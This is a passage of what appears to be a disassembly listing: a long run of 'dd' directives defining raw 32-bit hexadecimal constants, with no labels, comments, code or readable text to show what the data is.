		dd 3285F227h, 59B997DBh, 94ABF1D7h, 9E85B528h, 828BB8B5h
		dd 0F7D58851h, 5EBF3878h, 0AE84F289h, 19E9B66Fh, 4EB2E883h
		dd 0B8570364h, 34C40B2Bh, 707846F4h, 0B7DBE3Eh,	0DC15E92Ch
		dd 0BB382FAAh, 6AB2D5F7h, 0E955835h, 0E0EC560Bh, 17565B9Ch
		dd 0AC777E68h, 53CCC125h, 0C04143F7h, 403F9ADAh, 0AC4A4078h
		dd 9109053Ah, 57711F06h, 432DA180h, 82257BD0h, 0BFA7C09h
		dd 1F56253Ah, 0A7A111E4h, 8BFA43Ah, 8B410BF4h, 0BD92FA60h
		dd 1C51D0D6h, 2EA3CD01h, 317B05E7h, 0C00B3DE6h,	0D95CA58Bh
		dd 3F19ECAEh, 16B5B0Fh,	3B0AD2DEh, 5513148Eh, 10C5709h
		dd 5A2069F0h, 1B1EE0DEh, 159C3E68h, 2E59E703h, 0CFB02D87h
		dd 7CE4368Fh, 0B513E918h, 16EFC363h, 0B8247A56h, 0FE655091h
		dd 0FA829913h, 985BF8F8h, 9F92B5BFh, 44815F17h,	12D22CA8h
		dd 68E6C07Eh, 0E5C92671h, 5742267Bh, 86843822h,	7F75EE4Ah
		dd 4578CBA4h, 0B2F3C20h, 90BC1BE9h, 242FF290h, 1F08CE9Eh
		dd 20AC9D45h, 0D6BFD1F0h, 0DA878234h, 5C55F468h, 1FC94B85h
		dd 68E750B6h, 459B6A86h, 0BF593902h, 0B913C066h, 660E902h
		dd 0D7091341h, 8B05EB23h, 7AB8A493h, 947B8C1h, 0FD4A302Fh
		dd 4DD72204h, 0EA81DAF7h, 53E56F8Fh, 76A9F03Bh,	7A124378h
		dd 0A3B91CE9h, 0B17C8B2Fh, 4C16B99Fh, 3AB80880h, 26A80F16h
		dd 4B8EC231h, 0AB653497h, 0D15DA081h, 0D0A2FD3Eh, 0D73C36B0h
		dd 5AA53D74h, 0FAAE17A5h, 0DF8742EBh, 0BF01F8CFh, 6C8A7B4Dh
		dd 12952860h, 583F2852h, 58FD1272h, 0C093030h, 4F064EB1h
		dd 2141FE63h, 0AE2DC3AFh, 610BB06Fh, 0DF92AC6Bh, 6C2D6D67h
		dd 0F1D94F0Ah, 0B5356AA0h, 840CE912h, 62E6E27Fh, 8A2E2DB2h
		dd 950B060Ah, 1E99FA82h, 0FB395463h, 0EE0DE235h, 22056301h
		dd 0DE311C57h, 6CAC84E2h, 46E6F016h, 5897DD7Dh,	0D5DDE749h
		dd 26C1F4DEh, 0B80213A0h, 1332C417h, 2812E615h,	1E89EDA8h
		dd 7F39D7B2h, 0FE4A5A7Ch, 0C63D94A9h, 21E9E687h, 67DD0B90h
		dd 0F32189E3h, 0AFA08D04h, 12C10CC8h, 0B8FA54DFh, 0DBB35FF3h
		dd 0C764E9C2h, 171EA990h, 242212Eh, 4BFD07AFh, 0BE2D1318h
		dd 6B5B614Fh, 0C3F32EC2h, 997DC680h, 0D3308FEEh, 5F5488BBh
		dd 0D3695C9Dh, 7552F9E8h, 770C2A61h, 1F9F344h, 1AB9C47Bh
		dd 14010C08h, 2361EDE9h, 725785Eh, 0AA6FC8D7h, 4BBB7C40h
		dd 0E946F489h, 0E206A4Dh, 2C96852Dh, 0EB86C86h,	112F307h
		dd 580840D0h, 6487719Dh, 0D3F8B8D5h, 0C81047B9h, 0AEAD4F98h
		dd 39C64860h, 3FA0EA09h, 45972502h, 0AFF40C3Bh,	0AB0FEF17h
		dd 644F0102h, 33AA9C1Eh, 9EFC624h, 0B7071CD7h, 14C2E856h
		dd 0F44AEE3Eh, 4B89B74Eh, 575ADA76h, 54518068h,	0BBFB298h
		dd 7630DD66h, 2205792Eh, 5E2C14Ch, 0D1C5B283h, 0C3200D32h
		dd 0E309090Fh, 0E6F58988h, 0C8729DAEh, 0EC6C8609h, 0D8307D4Dh
		dd 0FBC8C8Eh, 73549CAh,	41A29280h, 815D0D53h, 2B0DA6F6h
		dd 0B2EBEE85h, 40A99AF4h, 982890FFh, 57C0C91h, 3AE6555h
		dd 4D6A5B10h, 0FFDC0D3Dh, 4907714Ch, 0C07F2114h, 0AF6A2CCBh
		dd 5DE4148h, 329271C3h,	0C2515783h, 0C7D4E0B9h,	25969B52h
		dd 2629AEDAh, 0A4AD4761h, 61EE5193h, 3CD09F66h,	9AF965Ah
		dd 0F872BE7Bh, 17D76805h, 64D027F2h, 60027042h,	0F109CE1Dh
		dd 561C2640h, 0DBBBD689h, 5827BEACh, 0D1B904C0h, 0B7BE6226h
		dd 56AAC101h, 0B16A7A27h, 21E9E196h, 6FEF0023h,	609D49C7h
		dd 16E3C2AFh, 64F92961h, 0A30BAF93h, 0F6227F56h, 0F3520D78h
		dd 15E0780h, 3300FB79h,	8C5857EFh, 582C685Bh, 2DEAF47h
		dd 0EE72D9Dh, 18A18055h, 0B8199130h, 2B2259B4h,	2514F84Eh
		dd 0A75EFCEDh, 79625A79h, 13900807h, 7EA2B337h,	87C052Ah
		dd 0A797BB5Eh, 7ED4B9D5h, 0FE9025EAh, 20D2C7F6h, 0F9B951CDh
		dd 14BF6804h, 0C9F138E9h, 5FDDC021h, 0E946B653h, 0DA7EACA6h
		dd 0AEBC4EB3h, 0D25DEFBCh, 0B381318h, 0F140308Ah, 24886E21h
		dd 0ED86D8A4h, 0A3AAD236h, 163025F9h, 91E917D8h, 0CA0BBD31h
		dd 534B1258h, 735F6918h, 0B91289DEh, 0E55968F5h, 11B164Ah
		dd 0F0FF1717h, 0CDB5562Fh, 425C946Bh, 49E768A0h, 98D1B3C4h
		dd 2F05FF14h, 0BFD207A9h, 0CBEE39C5h, 0B7E84EF7h, 2670AA5Bh
		dd 7A10A32h, 5E68574Eh,	9925141Ch, 0CDD17A76h, 5D01F4F5h
		dd 0D5B2704Dh, 9BF77F4h
		dd 0D1D9E399h, 0D0834ED6h, 14E42E24h, 71DA0C04h, 0E4B0319Ch
		dd 6F414199h, 172126A4h, 0A9381869h, 8059250Eh,	8C2305E9h
		dd 0B93B5FAAh, 409F73BAh, 48B060B0h, 0E50AFE1Ah, 1CBAE34h
		dd 0DF5B82E2h, 625F301Ch, 0F48447Eh, 1ADA01C7h,	0D329750Eh
		dd 8044421h, 56E99142h,	25ABD97Eh, 649837Bh, 0B52BD50Fh
		dd 0C6EA7989h, 0B9C8D312h, 4F4E8CE9h, 8D279EDh,	0B900888Ch
		dd 37B674FCh, 0CC525F41h, 6A09C2DAh, 0F670EC59h, 6E0C0ADDh
		dd 442141D2h, 0E0C1C043h, 4F350807h, 50ABB70Fh,	255D5EFAh
		dd 70E5FE4Ch, 3FE6C500h, 5AC2257Bh, 40116D2h, 0E9D49F49h
		dd 7B819917h, 0C65E0BC1h, 2F82ED6Bh, 0D4F637C0h, 20A5B886h
		dd 68163D95h, 0D8CC7A06h, 101D1F75h, 0F8805720h, 9884D9E1h
		dd 0FA05D52Eh, 57583590h, 1D680750h, 8B61FD7Bh,	39080FFCh
		dd 495D0FA0h, 7CAF7AE9h, 0BE965B84h, 2083EA41h,	972A6A7Fh
		dd 82BEF2AFh, 6BD59C92h, 0AD0C5A4Ah, 0A2012856h, 0E85D9D6Bh
		dd 2D6AEAB1h, 9C550524h, 0B867906Ah, 0F580077Bh, 53C5FEECh
		dd 0EDC1D5CDh, 10DDC297h, 9D7A9124h, 9B327466h,	0F5556C84h
		dd 5D25C4DBh, 7A573B41h, 680B34A2h, 3C7952EBh, 801488ECh
		dd 969CE0D1h, 504B9305h, 2D55C0AAh, 0E830DEDBh,	5ADFC43Fh
		dd 4D054851h, 4B5EE909h, 30881C13h, 27F661C9h, 42646AB7h
		dd 4EAE4000h, 4AC4B540h, 764ABE4Dh, 7AA85067h, 2D91DA9Bh
		dd 0A253C565h, 7C5C6F09h, 0C0B363F4h, 9C3A2350h, 0DA9F2675h
		dd 0B56C20E5h, 0BA6DDC9Fh, 43C46B80h, 95E8290Dh, 0ABC1E912h
		dd 0F8163BBh, 0AD9FB8Ch, 1D4D8B7Bh, 3C523A85h, 7BF4F501h
		dd 4E702362h, 0D07D19FCh, 0DA3ECA0Ch, 3AB444F1h, 0E9A806BCh
		dd 8180884Eh, 270AFABEh, 2FE80EF6h, 6B2F7B2Fh, 0F824FA4Bh
		dd 8A0CA444h, 0F6C660E2h, 41CDB51Ah, 0B215F727h, 0F4015217h
		dd 519536FEh, 2A5C03Fh,	0BDB8E877h, 78C7CE04h, 0B5C04813h
		dd 4ECC8706h, 2313FBB4h, 0C05A7EE0h, 27A904B9h,	294A7FBEh
		dd 0C9089BDh, 78ADE91Ch, 0F91CB770h, 0D9EA2C4Ah, 5529DEC5h
		dd 5E2FC4F9h, 0B0C61218h, 4E173E7Fh, 8051535h, 5CB98612h
		dd 0FC274202h, 0C85D8975h, 5C619769h, 0E907E51Eh, 2F846498h
		dd 0C1079F7Dh, 0F61CF9E1h, 0FDA4F834h, 0F00AE49Dh, 3200BFE3h
		dd 9605665Ch, 54084A6Bh, 0FABAF55h, 506A41FFh, 9EEACD2Bh
		dd 6CD5680Dh, 0CBE90C72h, 9F09108Ah, 912F9050h,	8028F375h
		dd 47D42D48h, 0A6B833BBh, 0E2E3904Ah, 0A2A0AC4Fh, 82C37C35h
		dd 3F2168E3h, 6614985Fh, 0F8D261Ah, 0D40818Bh, 926431A7h
		dd 6162D9F2h, 48CA415Dh, 0BA88C56Fh, 0F23BFC9Dh, 570CCF56h
		dd 1017A936h, 0B5E8668h, 0C434CEE9h, 5AFFF058h,	12BCF6C0h
		dd 0C2FC403Ch, 25E668E0h, 1BA5CA91h, 3FA81360h,	0C438A8C5h
		dd 5F0BA133h, 0D57138FFh, 0A6362B7h, 0C95CBA09h, 0D86DC781h
		dd 36F0C0B8h, 0DEE9B568h, 6D042ED6h, 0E4EE215Bh, 2764F75Dh
		dd 0CA950123h, 522C97CAh, 51870343h, 0E98858D8h, 0A6A91FE5h
		dd 545442D5h, 0E2D2C9D7h, 5CC9D427h, 6150E685h,	6B322BE7h
		dd 58891FA6h, 5B9D2AEEh, 25C54466h, 0D945CF0Bh,	3A494E2Fh
		dd 0B1A875DBh, 61038024h, 635502Fh, 0FDEF8147h,	0B990167Fh
		dd 2BF3B04Eh, 0BF3F3213h, 20F55B00h, 0B7312921h, 3B0747h
		dd 56C4DF2h, 5FBAE945h,	930CB257h, 0BE1616AEh, 0D16B7F39h
		dd 0DDD531FCh, 3F4375B0h, 3A3592C0h, 0C7405AF9h, 0BFDFB50h
		dd 24DFF14h, 8894F725h,	0DD0C937h, 8FB252B0h, 6F672468h
		dd 53666F5Bh, 34402A51h, 328818BBh, 0DDCBAC6Eh,	49275217h
		dd 6FCC1901h, 0F7CA8701h, 71A84AC5h, 5E735438h,	200C28EFh
		dd 35926EE3h, 0E9ABDDBFh, 0F396037Dh, 0E5370B93h, 0CAD19A68h
		dd 61EFBF83h, 8082E462h, 28288401h, 0BCE6E5B4h,	0D6EEC052h
		dd 35412221h, 8060631h,	9E04EED2h, 53E9788Dh, 0C6476265h
		dd 534495EFh, 0B29BBB9Bh, 604FF55Ah, 0CA1433CFh, 0E25330h
		dd 11172AFBh, 250886BBh, 0E1091FB3h, 0EE81A056h, 68D0597Dh
		dd 90570B2Bh, 4C74EDE2h, 72E5575Ah, 2B282427h, 17E45E52h
		dd 683340DAh, 77764339h, 0E7062BB0h, 5CA341D6h,	6C69009Ah
		dd 0DD0513BFh, 25F4882Dh, 0A8734C00h, 478E0D46h, 3564002Ch
		dd 602F59E7h, 4A5AF5E9h, 0E6014874h, 7E7F7C3Bh,	1ECA92Eh
		dd 1F9FDECh, 0AD6CD7E9h, 7379C4Fh, 70E900E5h, 0F0D99D9Fh
		dd 16974AA8h, 4BE916E3h, 328BBAE5h, 462BF44Ah, 5A2C859Fh
		dd 10AD0BECh, 0DF05E931h, 0CA013BDFh, 1A4B59AAh, 7DBD982Eh
		dd 5C0A5225h, 90F10F5h,	5702C383h, 0ABED6751h, 0C9097030h
		dd 4C7D6969h, 0C14E59h,	2ECC002h, 0CE73CC80h, 7F60F425h
		dd 20662049h, 294C48D0h, 7F15822Fh, 808F4858h, 14DB5CA7h
		dd 90FDD625h, 9A2C0CDFh, 2C567FF2h, 654D4662h, 386D8754h
		dd 172CBE00h, 0F64E1685h, 0CC8F4B2Dh, 6228463h,	3C312613h
		dd 0BFEC7EDh, 0F020A866h, 0E40504B6h, 0BA60B8E6h, 0E912D8E3h
		dd 87C7E14Dh, 52C8B5D2h, 1C5ED3A3h, 2558E761h, 248C14F7h
		dd 523E8A27h, 4A13A9C0h, 0E9630605h, 0D7D417BCh, 0EFDEC2BAh
		dd 2D03F250h, 6F3171E5h, 63E1B040h, 54700C2h, 6AF63762h
		dd 8C6B8FE9h, 0FA96D777h, 2D12159Ah, 50BA64A0h,	5927083Ah
		dd 0E9417EF9h, 562A2660h, 0A87D80C7h, 681221B7h, 93CC2EFDh
		dd 7EA14192h, 0DD84F9C7h, 800C28ACh, 150653F5h,	590EECE0h
		dd 36E9E630h, 1C6F55F1h, 80E8D39Dh, 78090577h, 9136DD25h
		dd 923F7762h, 0FEE25303h, 6BDD1EA9h, 50D9D743h,	2CB301DDh
		dd 0CB80D3F6h, 0B83B206Bh, 0D843043Dh, 0E9D8061Dh, 772B2DAFh
		dd 8397271Dh, 90E6B07Fh, 1DAB95C7h, 5F84A37Fh, 19B9BC01h
		dd 0C8884112h, 2EF3C193h, 37E70C21h, 1F517417h,	52DBB0FEh
		dd 2D071EBAh, 5CF02243h, 0AC5D73C9h, 0B78DC6C8h, 0CE17B8E9h
		dd 31181345h, 0D787AC6Ch, 5397BF26h, 0C669C357h, 0F1FB4FD4h
		dd 23E87F6Fh, 0D9E95DF0h, 0F6121163h, 0D08CBAD4h, 5AD016Ch
		dd 77B840D3h, 9952DC2Dh, 4DB8285Ah, 0F92C0741h,	0C6542C00h
		dd 64BF583Dh, 0AB4F9004h, 0E9D8C729h, 4445B057h, 75F0C303h
		dd 0AF2A1B3Dh, 66B782F2h, 4D60F505h, 92B7B1AAh,	88C8408Fh
		dd 6445286Fh, 55D140D5h, 4EF16817h, 2FE9C36Ch, 85FB89ECh
		dd 9B8E762h, 0F3010B7Dh, 9230088Fh, 7E85681Eh, 6E807126h
		dd 0B2B80EBh, 0DF89FC75h, 0BBFE809Eh, 0F0685181h, 1B8150B2h
		dd 47818E9h, 8AA25DC3h,	7042761Ah, 3C013A2Dh, 39052F42h
		dd 54D27D5Eh, 0C37909BDh, 524E5C6Eh, 4DFD7629h,	2EC0262Fh
		dd 0C1FA06B6h, 0A2D5547h, 2D97B5D0h, 20D22507h,	959E617Fh
		dd 0C0F28100h, 0F77046AFh, 5816A0B0h, 0DF4E3166h, 0E9BA28FAh
		dd 5A071E49h, 8C50BA9Eh, 0FA7FCBB7h, 0F121406h,	128CE6Fh
		dd 595C1B20h, 40F01B4Ch, 2939662Ah, 1E0BC8FBh, 912D6AD0h
		dd 1FC0289h, 7D56FEF3h,	7BBD0455h, 0B04EE978h, 9106BB23h
		dd 293D255Dh, 5B0C3CFAh, 0CE785A4Bh, 50EDF9F7h,	664A8E9h
		dd 0C9F05A0Ah, 0D38A5A8Ch, 0DD844CFh, 0C009BD7Eh, 2981F2A5h
		dd 0C89A8252h, 94FE0977h, 5E3C105h, 2EB48781h, 0FF6F0B05h
		dd 43051F56h, 82010888h, 0A8D76F3Ah, 379FF8DBh,	6A1760B7h
		dd 766055E7h, 0E1242FBDh, 0AFD6A45h, 90108244h,	171C6808h
		dd 23051834h, 0D2FF015Eh, 4350FEh, 0BA02B8FAh, 607F8938h
		dd 9CD529B4h, 5E0A91D8h
		dd 90D54AA9h, 0E9D3685Bh, 65953B55h, 0CA8BE050h, 3E601BB4h
		dd 95032169h, 727A34Ch,	0FFE11A54h, 4A46CE00h, 0B8050936h
		dd 5927EE9Eh, 0A9AB2884h, 0B2E24E01h, 681D98B4h, 0A945A432h
		dd 1B48D54Dh, 409E5F1Bh, 0EC1CCD62h, 5A4527F3h,	74984716h
		dd 0DDB98D25h, 6DC6F410h, 0F82F0827h, 9CA29D5Ah, 82B27170h
		dd 0E3742109h, 0BEA6CC2Fh, 59A1024Dh, 4C573F13h, 48EE0151h
		dd 5122FD7Eh, 2112857h,	0CCE93BAFh, 12390A67h, 58070103h
		dd 2AC7D3EEh, 427943BAh, 91DF4735h, 3D0C8BCBh, 2B35975Bh
		dd 0F353E112h, 64E83DEEh, 0F19F55B4h, 8B567267h, 0A71909h
		dd 5968CF45h, 987BB547h, 0CE288839h, 0BFFF177Fh, 3D299B99h
		dd 0BF98026Ch, 5E6E1E0Fh, 0CDB34610h, 0B7E304ADh, 0B2785F31h
		dd 585E0FF2h, 0F0560B48h, 0AD4D48A3h, 0C32B7D00h, 93F18101h
		dd 79A8541Dh, 6DF5C983h, 0E9B20070h, 69FD30C2h,	10C1D9F7h
		dd 49261BFFh, 0BF25A231h, 0D33C0E21h, 46B304A5h, 63F2BEE8h
		dd 0FFCA2B17h, 3CD5E68Dh, 147712C2h, 5F12213Ch,	0E7D30CADh
		dd 981C0FEFh, 0D16B85DCh, 17B91DC0h, 5FB11D0Bh,	45135E89h
		dd 3F05F134h, 0A8A46EADh, 0C8E610h, 1D4006BDh, 0E5ED8174h
		dd 35F86D18h, 6589700Ch, 0A0EB4C7Dh, 0E355AE89h, 0F442BF78h
		dd 5F2F3297h, 3A752A29h, 508F42FBh, 0BC9EBEB5h,	7989C4A5h
		dd 0FF01CBC5h, 78A3E930h, 266CFD2Fh, 0B6006E66h, 69685389h
		dd 9B4BB59h, 544C977h, 9945DCB7h, 2A294581h, 18C7250h
		dd 1F0D4C65h, 13B5FE9h,	28A2B655h, 629361F0h, 0F4C52FF8h
		dd 8560A5A7h, 1063C1Eh,	16A0E934h, 0A2B20524h, 0BB47F280h
		dd 3E2CF181h, 2A68D8C0h, 0C505F20h, 0DDF6B6B5h,	0C000C5C0h
		dd 0C68003EEh, 5FA2E9B3h, 7CA48A56h, 0A6FA9AA0h, 0D45D10C9h
		dd 2F755215h, 0EC710A01h, 8E7626CFh, 525302D4h,	9B549ABAh
		dd 0B6AF0DDh, 3EC77BD1h, 76880D80h, 0EB12B47h, 48AABD09h
		dd 99C18D7Bh, 0AC8A3F0Eh, 16970FF0h, 5D10D254h,	73D71AEAh
		dd 398469A5h, 0C55E0E97h, 8FAEB322h, 0B08E5C80h, 0A4FCE95Fh
		dd 7558BD82h, 0B73E20FAh, 0C52E9647h, 0F86B1292h, 0AE749704h
		dd 97777E58h, 40FF3275h, 627120B5h, 111F07Ch, 35F6CA48h
		dd 6062A896h, 4FF6C77h,	0AB499EC2h, 78C7F034h, 1FF91416h
		dd 0A005A00Eh, 3503F22Ch, 0A72E0ED5h, 25089C3h,	0E3CA74EBh
		dd 0B2E85D16h, 8BC00B36h, 0B92466CDh, 6B79B703h, 0BD6BF501h
		dd 57E5E1Eh, 525356BAh,	0AF43BB92h, 384F5E9h, 5A31C743h
		dd 0D7F21040h, 82B7F62h, 0CB3C7951h, 40B98984h,	94D7E9F0h
		dd 0D2030091h, 0D9019E69h, 5B004C19h, 0D1BFE268h, 0A758AF8Ch
		dd 0DB2511Ch, 0C0044D24h, 8F8302E2h, 0DF919FC5h, 0A9ADAF6h
		dd 585D06C4h, 29B198ACh, 0A5DF24C9h, 0A632A9DAh, 75EAA313h
		dd 89808029h, 75D469AEh, 0D80AF7F8h, 81463860h,	7743EC03h
		dd 0DB180423h, 15D584Fh, 301633D6h, 0C53CF400h,	47850A4Bh
		dd 42B299D5h, 0DFC9EFA5h, 2201956Eh, 9B925D1Eh,	5EE9F075h
		dd 6BEED96Ah, 0C15E4CADh, 5B3488h, 24352FBAh, 2CD17DDh
		dd 24785D62h, 494E6100h, 20FAC110h, 6F5FA065h, 0B06BF5B1h
		dd 135EF06Dh, 688289E2h, 4CD70197h, 35CD0063h, 12B81883h
		dd 255EF0FCh, 6F8ADDE0h, 8D8092DAh, 2D477816h, 0AB0B8969h
		dd 5A8D6CFCh, 0F41EBDAh, 4D803E3Bh, 0BE5E247Bh,	705331A0h
		dd 0BE5AE0A0h, 0ECF7C5CFh, 4402B1EAh, 1720AACh,	0F70B1576h
		dd 997470DFh, 0D78856C0h, 7C0595Ah, 0CF8006E7h,	69EF6772h
		dd 0F12085D0h, 8A69DA7h, 1585DF2h, 1C5126CFh, 0EBEB888Eh
		dd 6EC52A72h, 0EDC6780Ah, 4C9B36C3h, 1E010EB7h,	2918781Bh
		dd 23A144FBh, 22045F08h, 9332AFFh, 0BB1412EBh, 7C068CF3h
		dd 28480C63h, 842E6D03h, 0C7EB016Bh, 5D05082Ah,	0E6D2ABE9h
		dd 5A1FD405h, 222D8EF6h, 0E2D0212Bh, 9F80F837h,	30DD8409h
		dd 295BEFBh, 686B0B46h,	0BB560143h, 9C790049h, 97EE8C1Ah
		dd 0D6F999E3h, 3EF1FD5Ah, 5C05FE8h, 4A4233DDh, 0B95E972h
		dd 5BF916D7h, 254B801h,	486636B3h, 0FC935F5Fh, 0C5D588A2h
		dd 25D6A0DCh, 71D9158Ah, 12732E8Eh, 48F8A6BFh, 298A04A8h
		dd 94BF2757h, 579616EDh, 9367F914h, 0BD31D2BCh,	293F55Eh
		dd 1E61DD5Ch, 8AD3B47h,	0CFF570Bh, 9F0A2622h, 0FAEC2904h
		dd 6A53EA01h, 0D9016C1Ah, 2F716151h, 0F2B18F07h, 48CF4272h
		dd 0BEEC37Bh, 5E557275h, 0F268B510h, 33317BE5h,	8004987Eh
		dd 0B414DD3Bh, 8033687Bh, 0B85246E2h, 5A3432F8h, 95CFC1Fh
		dd 0FD6F408Bh, 25E9D007h, 786CEB3Bh, 52CC2F68h,	0BA40B29Ah
		dd 0C527E94Bh, 53FCD4BEh, 54469FD8h, 67C720F3h,	72140F13h
		dd 23945E01h, 0F544D6F5h, 0FD4B19ACh, 25AE9455h, 3D18E68Eh
		dd 0F9965453h, 0B30BAACh, 0A19C5CE7h, 0EB72D6A8h, 0BBF96913h
		dd 0CA31E4C8h, 80E3B319h, 5133F181h, 609D2E7Bh,	0B587A777h
		dd 1F4F67E6h, 3EBE5400h, 97095404h, 0AC804165h,	2156E842h
		dd 0D15D39EEh, 284C1BAh, 0ACC375E9h, 27C4C789h,	5365D709h
		dd 7D5C0D32h, 0E98B1FF9h, 0D68850B7h, 0CE9BEBFDh, 174C3062h
		dd 0BBAC4305h, 0C652DE07h, 0A4CFD32Fh, 5F598A25h, 3FEABA03h
		dd 0EFB31BD3h, 619064A8h, 9BE0FCF9h, 19F6F09h, 727B5DF9h
		dd 65D6E961h, 44CB32Eh,	6163149Eh, 7C539EC2h, 67062EEh
		dd 2417276h, 0E2DB6C2Ah, 0BD8BF040h, 0F55CE5FAh, 0EE3219EAh
		dd 9B3153AEh, 0ADE8DAC9h, 2D14C180h, 0F8707668h, 2C98F829h
		dd 0B550882h, 4094D178h, 8DE95655h, 4FF59749h, 0B76604EEh
		dd 9EFDAB72h, 8663C5h, 1A4DB755h, 6E1D050Ch, 54AD78DAh
		dd 7B468859h, 7C9B6804h, 7210E9E3h, 35660725h, 2D412733h
		dd 29E1AD47h, 0DF33FC2Fh, 180F8E64h, 0EF31C73Fh, 0D69F9C8Dh
		dd 7368805Fh, 0DDF3E964h, 91AE597h, 96D57259h, 0F33360C6h
		dd 0CA03B6BDh, 0EB891012h, 0FCDEEEB2h, 6F836E0Bh, 0E6089FF4h
		dd 985D1228h, 955E649Ch, 944E4BF4h, 9401F6Fh, 0C21AEE09h
		dd 623185DAh, 54014738h, 0B06DFC6Ah, 0C071FAE9h, 9E4CFD5h
		dd 0CC06867h, 2DC17F93h, 0FCEF5AD1h, 2B2F025Fh,	0E1D729E3h
		dd 87018D69h, 3115DCF7h, 0E8EFCBC0h, 0C128B444h, 630F880Ch
		dd 4A82C65Ah, 0D19A7BC1h, 40CE9AFDh, 6F77417Eh,	2A0C286Fh
		dd 0E802F653h, 295E171Fh, 0A71AE5F2h, 3F2D0DC8h, 68226105h
		dd 0D8AE07C8h, 4D3BAE18h, 9DD150BAh, 44B32602h,	544520E9h
		dd 1BF76003h, 0D59838D4h, 2BE40B1Dh, 0BBA8E906h, 0C68380A3h
		dd 2F912E46h, 0A9D82F30h, 89A21632h, 8F967DF8h,	8A2A6E9Ah
		dd 0F707B3FCh, 26524308h, 853A55B3h, 69EEA7BBh,	83015E4h
		dd 31093697h, 1A41F6C2h, 2F72B01h, 0C1D9ABBh, 1F0067F4h
		dd 590D76EEh, 793C5D4Ah, 0B471325h, 8E09FA3Eh, 2FCE2FCh
		dd 0C24C5097h, 0AC275710h, 4DF65912h, 0BC3F246Fh, 0A85F80B2h
		dd 0A2FFF477h, 70C710CAh, 0ABEB6812h, 0B885C8E3h, 0CE420081h
		dd 21758F2Fh, 125BDD30h, 206454CBh, 81002926h, 4CD2DEF5h
		dd 9595E9C4h, 0AFBAAB85h, 9C96845Eh, 0E85ED5AFh, 0BDF1509Ch
		dd 229B1A1Dh, 3E73E580h, 0F9830AE0h, 0D5066328h, 0C438B52h
		dd 771CBD0Ch, 3CED3832h, 792E7E17h, 0D5E906DCh,	594FB483h
		dd 0BE9770F2h, 3D6A2329h, 0A8796039h, 4F375182h, 0C082C8C6h
		dd 3020B298h, 0EA44D69Fh, 6FD7A05Eh, 75EB7E84h,	1E528255h
		dd 0EA0730D5h, 5C9DCCh
		dd 8AC087C9h, 0E4455509h, 0C61D71A6h, 2508F193h, 25F2884h
		dd 193373D5h, 98E8FA31h, 393F3FA1h, 6BE28260h, 0E0612E0Ah
		dd 626A842Fh, 1D79C07Ch, 68DE98FFh, 0E93764F5h,	0DBE886h
		dd 75BF57ADh, 0F87CDC36h, 0AC2A4B2Ch, 79B4CF54h, 8B295BC2h
		dd 0B776FB8Bh, 5217F927h, 317264D5h, 0BB4C927Ch, 79E2C05Dh
		dd 30BCB0C1h, 3A307FBDh, 3A0AF4CEh, 0B7A6E972h,	0F25D96EFh
		dd 78A5C903h, 0D5C18106h, 4B6C54E1h, 0BFAF175Ah, 6E3EF968h
		dd 0F7C9396Fh, 0EE88E623h, 2B873491h, 3C8D405Fh, 0C5471C6Dh
		dd 0E764F58Bh, 28BE660Fh, 16048474h, 129639A8h,	0FFF3ABCCh
		dd 1C946D1h, 84721B56h,	0B8007A24h, 6DC24538h, 8500E5B7h
		dd 83F43A08h, 7890EF1Bh, 0E91267A2h, 0F5AFFD87h, 18F36B36h
		dd 821BE134h, 38A63606h, 20559B9h, 0BFE3E953h, 0B6509056h
		dd 0DE6E25ADh, 6051C71Bh, 29DF605Ah, 633DE925h,	68C2DCACh
		dd 4A560B96h, 0E1441182h, 0CF2277D0h, 0BAD5623Ah, 700285EAh
		dd 4049A3C2h, 0F779D1Fh, 0EBE93F19h, 0CECACCF6h, 16E0BE88h
		dd 0E05ACB21h, 0F1163FC1h, 55090DC8h, 82FFFE5Eh, 6894131Eh
		dd 0E22DB345h, 0B3B1C1C6h, 0CB5E417Fh, 877C877Fh, 46495638h
		dd 0F0EAD133h, 0E61B1EF2h, 17E925B4h, 8B27F87Ah, 712E764Ah
		dd 0BCF388Ch, 2F9B652h,	696D855h, 0AE5A4258h, 0F9BABB24h
		dd 2D5E3F95h, 5C770052h, 95307231h, 0CD6E63D9h,	1061A42h
		dd 0F46AF40Eh, 0D4031248h, 96E0AE29h, 3F6D41CAh, 0F71342B6h
		dd 5C6DFF84h, 6CF0899h,	7E0DADF9h, 0F5EA4D64h, 15B92A56h
		dd 0C8A0A34Fh, 2C28A802h, 49089A59h, 2880837Fh,	1FDE9D5h
		dd 27CBE7FEh, 0DA7397FEh, 0B46758B2h, 36D98CB7h, 0B15A51CDh
		dd 0B95E99ECh, 2DAA9BB3h, 95A20BF4h, 0BED6170Eh, 0F6A18C2h
		dd 0BAB06BC4h, 0E3607E8Ah, 7080E955h, 49CA56B5h, 0E19F8266h
		dd 0B878FDDFh, 9E0F8D6h, 77127068h, 5D2F5B3h, 891CF17Fh
		dd 6C7FFDBBh, 0A3C5B70Dh, 6044FE9Ah, 0B96CDAEDh, 6279AD06h
		dd 82212F58h, 790A4A82h, 3659EB6Ah, 0E966F4ADh,	7F25EADCh
		dd 5C13C567h, 9713CCAAh, 0EC49254Fh, 66B0DD28h,	133E316Eh
		dd 0A6E6922Eh, 6C37A4FAh, 0C841CC41h, 779744D2h, 0C02413FEh
		dd 53122CCDh, 3D43B738h, 0A0407F8h, 80CED028h, 0E9ACB252h
		dd 85C3FF7Bh, 0AFF55EA9h, 5EB73062h, 9C712DC1h,	4ED7F6EBh
		dd 0B45D0E09h, 6368109Bh, 99E90C0Fh, 448C156Ah,	6FF7762Eh
		dd 17845BFCh, 7B5108Dh,	30B5A1Bh, 39F101B4h, 1D60E82Fh
		dd 0F46DC280h, 0C5880B03h, 0BB97D484h, 69307529h, 0F1F3C33Dh
		dd 24640D7Dh, 590EA566h, 0E329C309h, 2189EF8Bh,	16249C7Dh
		dd 0A83C91E9h, 4A68E054h, 0C5E9B6Bh, 2D4C7E96h,	0D8633309h
		dd 8088D077h, 4B456807h, 0ADF88C53h, 2AE14C0Fh,	0FD3F89E9h
		dd 0E5C9D61Bh, 5C4E89F2h, 147D609h, 6824BC6h, 78FCAF96h
		dd 0BF4C8EA9h, 5DA748D6h, 0E926F93Eh, 598B1A35h, 5CEC0957h
		dd 0D8712D98h, 0C522C490h, 68C83105h, 1E8D088Dh, 0F2D72757h
		dd 0BD08D6F6h, 2D31F1F0h, 58C14F71h, 8CD46432h,	0E7DAEC1Ah
		dd 6AB1C55Dh, 132F108Ah, 2C1C6B3h, 0EF81B42Eh, 0C7598DC3h
